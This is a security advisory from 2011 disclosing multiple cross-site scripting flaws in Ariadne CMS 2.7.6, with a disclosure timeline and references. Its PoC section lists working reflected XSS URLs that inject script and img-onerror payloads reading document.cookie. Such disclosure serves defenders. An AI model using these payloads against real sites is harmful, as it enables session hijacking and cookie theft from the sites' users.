Advisory: Ariadne 2.7.6 Multiple XSS vulnerabilities
Advisory ID: SSCHADV2011-038
Author: Stefan Schurtz
Affected Software: Successfully tested on Ariadne 2.7.6
Vendor URL: http://www.ariadne-cms.org/
Vendor Status: informed

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Vulnerability Description

Ariadne 2.7.6 is prone to multiple Cross-Site scripting vulnerabilities

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PoC-Exploit

IE8

http://localhost/ariadne/www/loader.php/system/ariadne.html?'"</script><script>alert(document.cookie)</script>
http://localhost/ariadne/www/?'"</script><script>alert(document.cookie)</script>
http://localhost/ariadne/www/loader.php/?'"</script><script>alert(document.cookie)</script>
http://localhost/ariadne/www/loader.php/system/?'"</script><script>alert(document.cookie)</script>
http://localhost/ariadne/www/loader.php/view.html?'"</script><script>alert(document.cookie)</script>
http://localhost/ariadne/www/loader.php/system/view.html?'"</script><script>alert(document.cookie)</script>

IE8/FF3.6.24/FF8.0.1

http://localhost/ariadne/www/loader.php/system/"><iMg src=N onerror=alert(document.cookie)>
http://localhost/ariadne/www/loader.php/"><iMg src=N onerror=alert(document.cookie)>

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Solution

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Disclosure Timeline

27-Nov-2011 - informed developers (bugs.ariadne-cms.org)
01-Dez-2011 - release date of this security advisory

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Credits

Vulnerabilities found and advisory written by Stefan Schurtz.

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References

http://bugs.ariadne-cms.org/view.php?id=277
http://www.rul3z.de/advisories/SSCHADV2011-038.txt